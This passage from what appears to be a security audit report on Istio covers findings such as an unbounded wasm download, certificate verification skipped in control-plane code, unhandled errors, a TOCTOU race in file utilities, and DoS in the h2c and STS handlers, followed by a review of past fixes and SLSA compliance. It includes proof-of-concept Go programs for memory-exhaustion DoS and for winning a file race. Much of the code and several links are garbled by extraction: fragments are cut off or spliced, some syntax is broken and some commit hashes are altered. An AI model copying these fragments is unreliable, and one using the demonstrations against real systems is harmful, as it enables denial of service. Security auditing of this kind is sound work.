        wasmLog.Debugf("wasm module download failed: status code %v, body %v", resp.StatusCode, string(body))
    }
    return nil, fmt.Errorf("wasm module download request failed: %v", lastError)
}
```
resp.Body.Close()
time.Sleep(b.NextBackOff())
continue
}
    resp.Body.Close()
break
}
return nil, fmt.Errorf("wasm module download failed after %v attempts, last error: %v", attempts, lastError)

https://github.com/istio/istio/blob/69b1e0f7bc04fcc6f32f0eab8c796cfe0d78b4c02/pkg/wasm/htpfetcher.go#L150

```go
func getFileFromGZ(b []byte) []byte {
    buf := bytes.NewBuffer(b)
    zr, err := gzip.NewReader(buf)
    if err != nil {
        return nil
    }
    ret, err := io.ReadAll(zr)
    if err != nil {
        return nil
    }
    return ret
}
```

Demo
The DoS in HTTPFetcher.Fetch() can be demonstrated with the following simple program. It sets up a server with a route that writes a large buffer to the http response. It then implements a copy of Istio's HTTPFetcher which prints out the size of the response body after it has been read into memory. The global variable bufferSize can be modified to demonstrate that the response body will be read no matter its size.

To run the program, copy the code to main.go and run the file with go run main.go. The resulting stack trace should be:

```
2022/10/12 15:56:26 server started
Creating fetcher
Fetching
size of returned body: 1.86GB
```
import (  "bytes"  "context"  "crypto/tls"  "fmt"  "io"  "log"  "net/http"  "os"  "os/signal"  "time"
)

byteSize "github.com/inhies/go-bytesize"  "istio.io/istio/pkg/backoff"

var (  bufferSize = 50000000
)

// Creates a server and serves it.
// There is nothing from Istio here.
// The route writes a large buffer to the response to demonstrate
// that Istio reads the entire response body into memory.
func serve(ctx context.Context) (err error) {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        w.Write(bytes.Repeat([]byte("Test"), bufferSize))
    })
    srv := &http.Server{
        Addr:    ":6969",
        Handler: mux,
    }
    go func() {
        if err = srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            log.Fatalf("listen:%+s
", err)
        }
    }()
    log.Printf("server started")
    d, err := time.ParseDuration("20s")
    if err != nil {
```go
func main() {
    c := make(chan os.Signal, 1)
    signal.Notify(c, os.Interrupt)
    ctx, cancel := context.WithCancel(context.Background())
    go func() {
        oscall := <-c
        log.Printf("system call:%v", oscall)
        cancel()
    }()
    if err := serve(ctx); err != nil {
        log.Println("failed to serve:+%v", err)
    }
}
// Copy of istio.io/pkg/wasm.HTTPFetcher

type HTTPFetcher struct {
```
// Copy of istio.io/pkg/wasm.NewHTTPFetcher
func NewHTTPFetcher(requestTimeout time.Duration, requestMaxRetry int) *HTTPFetcher {
    if requestTimeout == 0 {
        requestTimeout = 5 * time.Second
    }
    transport.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    return &HTTPFetcher{
        client: &http.Client{
            Timeout: requestTimeout,
        },
        insecureClient: &http.Client{
            Timeout:   requestTimeout,
            Transport: transport,
        },
        initialBackoff:  time.Millisecond * 500,
        requestMaxRetry: requestMaxRetry,
    }
}

// Fetch implements a minimized version of istio.io/pkg/wasm.(f *HTTPFetcher).Fetch()
// The main minimization is:
// - Removal of Logging
// - Removal of everything after reading the body of the http response
func (f *HTTPFetcher) Fetch(ctx context.Context, url string, allowInsecure bool) ([]byte, error) {
    c := f.client
    if allowInsecure {
        c = f.insecureClient
    }
    attempts := 0
    o := backoff.DefaultOption()
    o.InitialInterval = f.initialBackoff
    b := backoff.NewExponentialBackOff(o)
    for attempts < f.requestMaxRetry {
        attempts++
        if err != nil {
            return nil, err
        }
        }}
resp, err := c.Do(req)
if err != nil {
    if ctx.Err() != nil {
        return nil, fmt.Errorf("err\n"
    }
    time.Sleep(b.NextBackOff())
    continue
}
if resp.StatusCode == http.StatusOK {
    body, err := io.ReadAll(resp.Body)
    bs, err := byteSize.Parse(fmt.Sprintf("%d B", len(body)))
    if err != nil {
        panic(err)
    }
    fmt.Println("size of returned body: ", bs)
    resp.Body.Close()
    _ = err
    break
}
return nil, nil
6: Communication between Istio control plane components skips certificate verification

<table>
<thead>
<tr>
<th>Severity: Low</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● pkg/wasm</td>
</tr>
<tr>
<td></td>
<td>● Istio Agent</td>
</tr>
<tr>
<td></td>
<td>● Istio Pilot</td>
</tr>
<tr>
<td></td>
<td>● Istioctl</td>
</tr>
</tbody>
</table>

Vectors:
- CWE-295: Improper Certificate Validation

ID: ADA-IST-6

Fix: [https://github.com/istio/istio/pull/41930](https://github.com/istio/istio/pull/41930)

**Description**
In some experimental code, test code and code where a user has explicitly opted into insecure mode, `InsecureSkipVerify` mode is enabled. As stated by the `crypto/tls` documentation:

“In this mode, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used. This should be used only for testing or in combination with VerifyConnection or VerifyPeerCertificate.”

The issue was found to have no severe production impact due to this happening only in experimental code, test code and in opt-in insecure modes.
7: Unhandled errors

<table>
<thead>
<tr>
<th>Severity: Informational</th>
<th>Difficulty: n/a</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td></td>
</tr>
</tbody>
</table>

Vectors:
- CWE-391: Unchecked Error Condition

ID: ADA-IST-7

Fix: [https://github.com/istio/istio/pull/41902](https://github.com/istio/istio/pull/41902)

**Description**

Istio ignores return values of errors in several places. This can lead to undefined behaviour since the code following may assume no error happened.

```go
func (cl *googleCAClient) Close() {
    if cl.conn != nil {
        cl.conn.Close()
    }
}
```

```go
if err != nil {
    log.Debugf("DialTimeout() returns err: %v", err)
    // No connection yet, so no need to conn.Close()
    return false
}
conn.Close()
return true
```

```go
if retryable(resp.StatusCode) {
    body, _ := io.ReadAll(resp.Body)
    wasmLog.Debugf("wasm module download failed: status code %v, body %v", resp.StatusCode, string(body))
    resp.Body.Close()
    time.Sleep(b.NextBackOff())
    continue
}
resp.Body.Close()
break
```

```go
if retryable(resp.StatusCode) {
    body, _ := io.ReadAll(resp.Body)
    wasmLog.Debugf("wasm module download failed: status
```
<table>
<thead>
<tr>
<th>Line</th>
<th>Code Snippet</th>
</tr>
</thead>
<tbody>
<tr>
<td>106</td>
<td>8c796cfed78b4c02/pkg/wasm/httpfetcher.go#L106</td>
</tr>
<tr>
<td>173</td>
<td>if err != nil { return err } conn.Close()</td>
</tr>
<tr>
<td>179</td>
<td>wg := sync.WaitGroup{} wg.Add(1) go func() { // downstream (hbone client) &lt;-- upstream (app) copyBuffered(w, dst, log.WithLabels(&quot;name&quot;, &quot;dst to w&quot;)) r.Body.Close() wg.Done() }()</td>
</tr>
<tr>
<td>180</td>
<td>conn := tls.Client(rawConn, config) if err := conn.HandshakeContext(ctx); err != nil { rawConn.Close() return nil, err }</td>
</tr>
<tr>
<td>182</td>
<td>closers := make([]io.Closer, 0, len(files)) defer func() { for _, closer := range closers { closer.Close() } }()</td>
</tr>
<tr>
<td>183</td>
<td>j, err := json.Marshal(mb) if err != nil { return nil, err } json.Unmarshal(j, &amp;r) // nolint: errcheck return r</td>
</tr>
<tr>
<td>189</td>
<td>if err != nil {</td>
</tr>
<tr>
<td>Page 38</td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td></td>
</tr>
<tr>
<td>tio/istio/blob/a7e57f950edc9f06b29f977d82fd8dfa9ae5f35b/pilot/cmd/pilot-agent/status/server.go#L758</td>
<td></td>
</tr>
</tbody>
</table>
| w.WriteHeader(http.StatusInternalServerError)  
| } else {  
| w.WriteHeader(http.StatusOK)  
| conn.Close()  
| } |
| https://github.com/istio/istio/blob/a7e57f950edc9f06b29f977d82fd8dfa9ae5f35b/pilot/cmd/pilot-agent/status/server.go#L499 |
| if envoy != nil {  
| envoy.Close()  
| } if application != nil {  
| application.Close()  
| } |
| https://github.com/istio/istio/blob/95988723f7ee77be3e271524384c79aa4c4712cc/operator/pkg/util/tgz/tgz.go#L110 |
| outFile, err := os.Create(dest)  
| if err != nil {  
| return fmt.Errorf("create: %v", err)  
| } if _, err := io.Copy(outFile, tarReader); err != nil {  
| return fmt.Errorf("copy: %v", err)  
| } outFile.Close() |
| https://github.com/istio/istio/blob/9cd26dc0b27f46d5ca9f4b51ded0c9e4389b0/istioctl/cmd/revision.go#L396 |
| warning, err := v.validateFile(istioNamespace, defaultNamespace, reader, writer)  
| if err != nil {  
| errs = multierror.Append(errs, err)  
| } reader.Close()  
| warningsByFilename[filename] = warning |
| https://github.com/istio/istio/blob/9cd26dc0b27f46d5ca9f4b51ded0c9e4389b0/istioctl/cmd/revision.go#L768 |
| tw := new(tabwriter.Writer).Init(w, 0, 0, 1, ' ', 0)  
| tw.Write([]byte("WEBHOOK\tTAG\n"))  
| for _, wh := range desc.Webhooks {  
| tw.Write([]byte(fmt.Sprintf("%s\t%s\n", wh.Name, renderWithDefault(wh.Tag, "<no-tag>"))))  
| } return tw.Flush() |
| https://github.com/istio/istio/blob/0e4e9a8064e5483de9f06b29f977d82fd8dfa9ae5f35b/pilot/cmd/pilot-agent/status/server.go#L758 |
| tw := new(tabwriter.Writer).Init(writer, 0, 8, 1, ' ', 0)  
| if verbose {  
| tw.Write([]byte("REVISION\tTAG\tISTIO-OPERATOR-CR\tPROFILE\tREQD-COMPONENTS\tCUSTOMIZATIONS\n"))  
| } else {  
| tw.Write([]byte("REVISION\tTAG\tISTIO-OPERATOR-CR\tPROFILE\tREQD-COMPONENTS\n"))  
| } |
| https://github.com/istio/istio/blob/0e4e9a8064e5483de9f06b29f977d82fd8dfa9ae5f35b/pilot/cmd/pilot-agent/status/server.go#L499 |
| r, err := os.Open(path)  
| if err != nil {  
| return err  
| }
<table>
<thead>
<tr>
<th>Line Number</th>
<th>Code Snippet</th>
</tr>
</thead>
<tbody>
<tr>
<td>397</td>
<td><code>runtime.SetFinalizer(r, func(x *os.File) { x.Close() })</code></td>
</tr>
<tr>
<td></td>
<td><code>readers = append(readers, local.ReaderSource{Name: path, Reader: r})</code></td>
</tr>
<tr>
<td></td>
<td><code>return nil</code></td>
</tr>
<tr>
<td></td>
<td><code>r, err := os.Open(f)</code></td>
</tr>
<tr>
<td></td>
<td><code>if err != nil {</code></td>
</tr>
<tr>
<td></td>
<td><code>return local.ReaderSource{}, err</code></td>
</tr>
<tr>
<td></td>
<td><code>runtime.SetFinalizer(r, func(x *os.File) { x.Close() })</code></td>
</tr>
<tr>
<td></td>
<td><code>return local.ReaderSource{Name: f, Reader: r}, nil</code></td>
</tr>
<tr>
<td></td>
<td><code>return filepath.Walk(srcDir, func(filepath.FileInfo, err error) error { return filepath.Walk(srcDir, func(file string, fi os.FileInfo, err error) error {</code></td>
</tr>
<tr>
<td></td>
<td><code>if err != nil { return err }</code></td>
</tr>
<tr>
<td></td>
<td><code>if !fi.Mode().IsRegular() { return nil }</code></td>
</tr>
<tr>
<td></td>
<td><code>header, err := tar.FileInfoHeader(fi, fi.Name())</code></td>
</tr>
<tr>
<td></td>
<td><code>if err != nil { return err }</code></td>
</tr>
<tr>
<td></td>
<td><code>header.Name = strings.TrimPrefix(strings.Replace(file, srcDir, &quot;&quot;, -1), string(filepath.Separator))</code></td>
</tr>
<tr>
<td></td>
<td><code>if err := tw.WriteHeader(header); err != nil { return err }</code></td>
</tr>
<tr>
<td></td>
<td><code>f, err := os.Open(file)</code></td>
</tr>
<tr>
<td></td>
<td><code>if err != nil { return err }</code></td>
</tr>
<tr>
<td></td>
<td><code>defer f.Close()</code></td>
</tr>
<tr>
<td></td>
<td><code>if _, err := io.Copy(tw, f); err != nil { return err }</code></td>
</tr>
<tr>
<td></td>
<td><code>return nil</code></td>
</tr>
<tr>
<td></td>
<td><code>func (f *URLFetcher) Fetch() error { if _, _, err := URLToDirname(f.url); err != nil { return err } saved, err := DownloadTo(f.url, f.destDirRoot) if err != nil { return err }</code></td>
</tr>
</tbody>
</table>

---

**Source Code References:**

- [Istio Security Audit, 2023](https://github.com/istio/istio/blob/0e4e9a8064e5483deb6dee0a9a5cf72728c896af/istioctl/cmd/analyze.go#L397)
- [Istio Security Audit, 2023](https://github.com/istio/istio/blob/959887237ee77be3e27152438c479aa4c4712cc/operator/pkg/util/tgz/tgz.go#L61)
- [Istio Security Audit, 2023](https://github.com/istio/istio/blob/e0110ff89739f8dc15b69c4a9a3c53854bb57ca1/operator/pkg/helm/urlfetcher.go#L87)
reader, err := os.Open(saved)
if err != nil {
    return err
}
def reader.Close()

// Limit reads to 10mb; charts should be orders of magnitude smaller.
return tgz.Extract(io.LimitReader(reader, 1024*1024*10), f.destDirRoot)
8: Use of deprecated 3rd party library

<table>
<thead>
<tr>
<th>Severity: Low</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● pkg/model</td>
</tr>
</tbody>
</table>

Vectors:
● CWE-1104: Use of Unmaintained Third Party Components

ID: ADA-IST-8

URLs Fix: [https://github.com/istio/istio/pull/41343](https://github.com/istio/istio/pull/41343)

**Description**
Istio uses the deprecated library `github.com/gogo/protobuf` in the following places:
● [https://github.com/istio/istio/blob/42afa0a83e529f9135bfdfd41eb0a315ac470d6e/pkg/config/model.go](https://github.com/istio/istio/blob/42afa0a83e529f9135bfdfd41eb0a315ac470d6e/pkg/config/model.go)

Istio uses this dependency several other places, but at the time of the audit they were verified by the Istio maintainers and found to be acceptable use cases.

Note: Much work to migrate from `gogo/protobuf` to `golang/protobuf` had already been done here: [https://github.com/istio/istio/pull/38055](https://github.com/istio/istio/pull/38055)
9: TOCTOU race conditions in file utils

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: No</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● pkg/file/file</td>
</tr>
</tbody>
</table>

Vectors:
- ● CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

ID: ADA-IST-9

Fix: [https://github.com/istio/istio/pull/42040](https://github.com/istio/istio/pull/42040)

Description


```go
24  func AtomicCopy(srcFilepath, targetDir, targetFilename string) error {
25      info, err := os.Stat(srcFilepath)
26      if err != nil {
27          return err
28      }
29
23 30      input, err := os.ReadFile(srcFilepath)
31      if err != nil {
32          return err
33      }
34
37      return AtomicWrite(filepath.Join(targetDir, targetFilename), input,
38      info.Mode())
39  }
40
41  func Copy(srcFilepath, targetDir, targetFilename string) error {
42      info, err := os.Stat(srcFilepath)
43      if err != nil {
44          return err
45      }
46
48      input, err := os.ReadFile(srcFilepath)
49      if err != nil {
50          return err
51      }
52
53      return os.WriteFile(filepath.Join(targetDir, targetFilename),
54      input, info.Mode())
55  }
```
Demo
The race condition can be demonstrated as such:

```go
package main

import (  
    "bytes"  
    "fmt"  
    "os"  
    "time"
)

var (  
    data1       = []byte("correctfile")  
    data2       = []byte("wrongfile")  
    srcFilepath = "fileToCopy"  
    checked     = false  
    finished    = false
)

func WinRace() {  
    for true {  
        if finished == true {  
            break
        }  
        if checked == true {  
            os.Remove(srcFilepath)  
            err := os.WriteFile(srcFilepath, data2, 0644)  
            if err != nil {  
                panic(err)
            }
        }
    }
}

func main() {  
    go WinRace()

    // To test this out, we first create the file  
    err := os.WriteFile(srcFilepath, data1, 0644)  
    if err != nil {  
        panic(err)
    }
    defer os.Remove(srcFilepath)

    // Now we check that the file exists with os.Stat()  
    _, err = os.Stat(srcFilepath)  
    if err != nil {  
        panic(err)
    }
```
47 } }  
48 // This is done solely for ease of reproduction. In a real-world  
49 // scenario, an attacker would need to time this part.  
50 // The attacker should now have replaced the file.  
51 // When istio proceeds to read it, it is another  
52 // file with different file contents.  
53 checked = true  
54 time.Sleep(500 * time.Millisecond)  
55 // The attacker has won the race.  
56 input, err := os.ReadFile(srcFilepath)  
57 if err != nil {  
58 panic(err)  
59 }  
60 if res := bytes.Compare(data1, input); res != 0 {  
61 panic(fmt.Sprintf("\n\n++++++++++++++\n%s\n%s\n+++++++++++++++",  
62 "The expected file contents are not equal to the  
63 current file contents.",  
64 "The attacker has won the race."))  
65 }  
66 finished = true

Running this reproducer will result in either:

```go
panic: open fileToCopy: no such file or directory
goroutine 1 [running]:  
main.main()  
/tmp/go-poc/main.go:61 +0x1db  
exit status 2
```

... which means the attacker did not win the race.

Or:

```go
panic:  
+++++++++++++++  
The expected file contents are not equal to the current file contents.  
The attacker has won the race.  
+++++++++++++++  
goroutine 1 [running]:  
main.main()  
/tmp/go-poc/main.go:63 +0x1cc
```

... which means the attacker won the race.
10: H2c handlers are uncapped

<table>
<thead>
<tr>
<th>Severity: High</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>• Istio Bootstrap server</td>
</tr>
</tbody>
</table>

Vectors:
- CWE-400: Uncontrolled Resource Consumption
- CWE-770: Allocation of Resources Without Limits or Throttling

ID: ADA-IST-10

Fix: [https://github.com/istio/istio/pull/41872](https://github.com/istio/istio/pull/41872)

Description

Golang `golang.org/x/net/http2/h2c` handler reads the first request in an h2c connection entirely into memory which could allow a malicious actor to send a large http request and cause DoS. This is a feature of the h2c library and is documented here: [https://pkg.go.dev/golang.org/x/net/http2/h2c](https://pkg.go.dev/golang.org/x/net/http2/h2c). It says:

“The first request on an h2c connection is read entirely into memory before the Handler is called. To limit the memory consumed by this request, wrap the result of NewHandler in an `http.MaxBytesHandler`.”

Istio does not wrap the result of `h2c.NewHandler` in an `http.MaxBytesHandler` which may make it susceptible to a DoS attack from a large http request.

The `h2c.NewHandler()` is used the Bootstrap server: [https://github.com/istio/istio/blob/2b39b30c7f69efdf2421482662540455a37584b9/pilot/pkg/bootstrap/server.go#L589](https://github.com/istio/istio/blob/2b39b30c7f69efdf2421482662540455a37584b9/pilot/pkg/bootstrap/server.go#L589)

```go
    // If we detect gRPC, serve using grpcServer
    if r.ProtoMajor == 2 && strings.HasPrefix(r.Header.Get("content-type"), "application/grpc") {
        s.grpcServer.ServeHTTP(w, r)
        return
    }
    // Otherwise, this is meant for the standard HTTP server
    s.httpMux.ServeHTTP(w, r)
}), h2s)
```
At the time of the audit, Istio also uses the h2c.NewHandler() in the HBONE server and the Istio Agent, however those two usages were assessed by the Istio maintainers to not represent real world threats.
11: STS server is susceptible to DoS if debug mode is enabled

<table>
<thead>
<tr>
<th>Severity: High</th>
<th>Difficulty: Medium</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fixed: Yes</td>
<td>Affected components:</td>
</tr>
<tr>
<td></td>
<td>● Istio Bootstrap server</td>
</tr>
</tbody>
</table>

Vectors:
● CWE-400: Uncontrolled Resource Consumption
● CWE-770: Allocation of Resources Without Limits or Throttling

ID: ADA-IST-11
Fix: https://github.com/istio/istio/pull/41962

Description
The Security Token Service (STS) server is susceptible to DoS attacks if the user has enabled debugging of the `stsServerLog`.

The STS server has two routes:
● `TokenPath` which resolves at `/token`
● `StsStatusPath` which resolves at `/stsStatus`

They are initialized here:
https://github.com/istio/istio/blob/a275113235b95a10ace56b8bef5d69278513bcc1/security/pkg/stsservice/server/server.go#L78-L84

```go
func NewServer(config Config, tokenManager security.TokenManager) (*Server, error) {
    s := &Server{
        tokenManager: tokenManager,
    }
    mux := http.NewServeMux()
    mux.HandleFunc(TokenPath, s.ServeStsRequests)
    mux.HandleFunc(StsStatusPath, s.DumpStsStatus)
}
```

`TokenPath` is guarded from excessively large HTTP requests with the `http.Request.ParseForm()` which sets an upper limit of the HTTP request body of 10MB. However, if the user has enabled debugging, the `Request.ParseForm()` guard comes after the request is dumped with a call to `net/http/httputil.DumpRequest()` which will read the entire request into memory:
func (s *Server) validateStsRequest(req *http.Request) (security.StsRequestParameters, error) {
    reqParam := security.StsRequestParameters{}
    if req == nil {
        return reqParam, errors.New("request is nil")
    }
    if stsServerLog.DebugEnabled() {
        reqDump, _ := httputil.DumpRequest(req, true)
        stsServerLog.Debugf("Received STS request: %s", string(reqDump))
    }
    if req.Method != "POST" {
        return reqParam, fmt.Errorf("request method is invalid,
            should be POST but get %s", req.Method)
    }
    if req.Header.Get("Content-Type") != URLEncodedForm {
        return reqParam, fmt.Errorf("request content type is invalid,
            should be %s but get %s", URLEncodedForm,
            req.Header.Get("Content-type"))
    }
    if parseErr := req.ParseForm(); parseErr != nil {
        return reqParam, fmt.Errorf("failed to parse query from STS
            request: %v", parseErr)
    }
}

This is also the case for the STS server’s second route, StsStatusPath, which also passes an unbounded http request to DumpRequest() in case the user has enabled debugging:

```
func (s *Server) DumpStsStatus(w http.ResponseWriter, req *http.Request) {
    if stsServerLog.DebugEnabled() {
        reqDump, _ := httputil.DumpRequest(req, true)
        stsServerLog.Debugf("Received STS request: %s", string(reqDump))
    }
}
```

**Exploitation**

This could allow an attacker to send an http request that would be passed into httputil.DumpRequest() which could exhaust memory of the machine.

The following demonstrates the issue:

```
package main
```
This program will not print out “Here” and will cause the machine to be inoperable from memory exhaustion. An attacker could exploit this by repeatedly sending large http requests that would keep the STS server offline.

**Mitigation**

This issue raises the question whether debug mode should ever be used in production. If it should, then this vulnerability puts users at risk from untrusted input. If debug mode should never be enabled in a production environment, then this should be clear through ample warnings in documentation and perhaps when the STS Server is started as well.
Review of fixes for issues from previous audit

One of the goals of this audit was to review the fixes the Istio project had made to mitigate the issues found in a previous security audit disclosed here: https://istio.io/latest/blog/2021/ncc-security-assessment/NCC_Group_Google_GOIST2005_Report_2020-08-06_v1.1.pdf. These issues were found in an audit performed in 2020 that found a total of 18 issues:

4 High severity issues
5 Medium severity issues
7 Low severity issues
2 Informational issues

These issues were reported to the Istio team who then triaged and mitigated the fixes. The entire audit was finalised with a blog post which can be found here: https://istio.io/latest/blog/2021/ncc-security-assessment/

Ada Logics reviewed how these fixes had been approached by the Istio community after they had been reported by the previous auditors. Our review focuses mostly on the work that had been done after the final audit report had been handed over to the Istio team, which is 6th August 2020, and until the audit was announced with the blog post on July 13th 2021. Since then, we believe Istio has changed their security practices profusely, and parts of our review may not be relevant at this point.

Ada Logics started out the review by requesting internal documentation that had been produced as part of the mitigation process. We then looked for public documentation related to the issues in the audit report. Finally we evaluated the affected code parts and code contributions to see if any issues were addressed without referring to the audit which is how some projects limit exploitability when resolving security-sensitive issues.

Results from assessing issues

All 18 issues have been resolved. However, documentation to reproduce or track fixes is lacking.

Review of tracking of issues

The Ada Logics auditors found some shortcomings in how the issues had been approached on the Istio side. In general, we found limited tracking, both internally and publicly. Upon request, the Istio team had little tracking documentation, and for only a limited number of
the issues. The issues that were documented and tracked internally were not up-to-date and the information for each of the issues were incomplete.
Publicly, the issues had not been tracked. Ada Logics did a search for each issue in the Istio github repository and only found mention of one by a contributor:


As such, none of the issues have been tracked publicly, and as a result of that, no fixes had been tracked at a per-issue level either. Some documentation about Istio's mitigation of the identified issues is the blog post written about the audit and how the issues were approached: [https://istio.io/latest/blog/2021/ncc-security-assessment/](https://istio.io/latest/blog/2021/ncc-security-assessment/). However, the blog post gives more of a qualitative discussion and does not give a clear overview of each issue identified in the audit. Ideally, there should be a public mapping of each issue to a PR/commit with the given fix.

This lack of both internal and external documentation makes it difficult for both maintainers, external contributors and auditors to review whether previously identified security issues have been properly mitigated. This difficulty was exacerbated in the current audit since all Istio team members that were involved in the previous security have left the project.

In future security audits we recommend more transparent and public tracking of issues, and explicit notions of fixes for each issue. The goal of this is to make it easier for users to track any potential issues that they may be affected by.
Istio SLSA compliance

Ada Logics follows the specifications of SLSA v0.1 that are outlined here: https://slsa.dev/spec/v0.1/requirements. This version of compliance requirements is currently in alpha and is likely to change.

Istio performs well in all categories except for provenance. Only two items are left marginally unsatisfied in the build process. The build is not fully satisfied because the build can access secrets from the build service, where SLSA requirements state that:

“It MUST NOT be possible for a build to access any secrets of the build service”.

The Build requirements also fail in the hermetic part, because builds run with network access, while SLSA compliance requires no network access:

“The build service… MUST prevent network access while running the build steps.”

With regards to reproducibility of builds, Ada Logics did not find evidence of any declaration of whether the build script is intended to be reproducible. This is a soft requirement for fulfilling “Reproducible” of the build process compliance:

“The user-provided build script SHOULD declare whether the build is intended to be reproducible or a justification why not.”

Overview

<table>
<thead>
<tr>
<th>Requirement</th>
<th>SLSA 1</th>
<th>SLSA 2</th>
<th>SLSA 3</th>
<th>SLSA 4</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Source</strong> - Version controlled</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Source</strong> - Verified history</td>
<td></td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td><strong>Source</strong> - Retained indefinitely</td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Source</strong> - Two-person reviewed</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Build</strong> - Scripted build</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Build</strong> - Build service</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td><strong>Build</strong> - Build as code</td>
<td>✓</td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Build</strong> - Ephemeral environment</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Build</td>
<td>- Isolated</td>
<td>-</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>------------------</td>
<td>---</td>
<td>---</td>
<td></td>
</tr>
<tr>
<td>Build</td>
<td>- Parameterless</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Build</td>
<td>- Hermetic</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Build</td>
<td>- Reproducible</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Available</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Authenticated</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Service generated</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Non-falsifiable</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Dependencies complete</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Identifies artifact</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Identifies builder</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Identifies build instructions</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Identifies source code</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Identifies entry point</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Includes all build parameters</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Includes all transitive dependencies</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Includes reproducible info</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Provenance</td>
<td>- Includes metadata</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Common</td>
<td>- Security</td>
<td>Not defined by SLSA requirements</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Common</td>
<td>- Access</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Common</td>
<td>- Superusers</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Recommendations**

Once Istio starts generating provenance which identifies artifact, builder, build instructions and metadata, the project will comply with SLSA 1. To comply with SLSA 2, the provenance will need more data, but only the provenance would need improvement. The [slsa-github-generator](https://github.com/slsa-framework/slsa-github-generator) can be integrated into Istio's build pipeline as a first step to start
work on provenance generation. This would generate provenance that satisfies SLSA level 3 which would bring Istio close to overall level 3 compliance.